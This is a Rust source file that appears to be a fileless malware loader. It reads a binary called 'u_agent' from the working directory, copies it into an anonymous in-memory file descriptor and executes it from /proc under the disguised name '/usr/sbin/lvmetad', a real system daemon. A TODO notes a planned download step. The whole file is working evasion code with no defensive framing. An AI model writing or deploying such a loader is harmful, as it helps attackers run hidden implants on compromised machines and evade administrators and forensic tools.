use libc::{c_void, fdopen, fwrite, getpid};
use nix::{
    sys::memfd::{memfd_create, MemFdCreateFlag},
    unistd::execv,
};
use std::{
    ffi::{CStr, CString},
    fs::{read_dir, File},
    io::Read,
};

fn get_uagent_data() -> Option<Vec<u8>> {
    // TODO: if not ls - then download
    let ls = read_dir("./").unwrap();
    for dirfile in ls {
        let filename = dirfile.unwrap().path();
        if filename.to_str().unwrap() == "u_agent" {
            let mut file = File::open(filename).unwrap();
            let mut data: Vec<u8> = vec![];
            file.read_to_end(&mut data).unwrap();
            return Some(data);
        }
    }
    None
}

fn get_proc_name() -> CString {
    CString::new("/usr/sbin/lvmetad").unwrap()
}

fn create_memfd() -> i32 {
    let name = get_proc_name();
    let fd = memfd_create(&name, MemFdCreateFlag::empty()).unwrap();
    assert!(fd > 0);
    fd
}

fn main() {
    let agent_data: Vec<u8> = {
        let mut data;
        loop {
            data = get_uagent_data();
            if data.is_some() {
                break;
            }
        }
        data.unwrap()
    };
    let ad_len = agent_data.len();
    let fd = create_memfd();
    let file = unsafe {
        let res = fdopen(fd, CStr::from_bytes_with_nul(b"w\0").unwrap().as_ptr());
        if res.is_null() {
            panic!("WTF!");
        }
        res
    };
    let res_len = unsafe { fwrite(agent_data.as_ptr() as *const c_void, 1, ad_len, file) };
    if res_len != ad_len {
        panic!("write wasn't successful: {}, need {}", res_len, ad_len);
    }
    let exec_path: String = format!("/proc/{}/fd/{}", unsafe { getpid() }, fd);
    let proc_name = get_proc_name();
    let args = [proc_name.as_c_str()];
    execv(&CString::new(exec_path).unwrap(), &args).unwrap();
}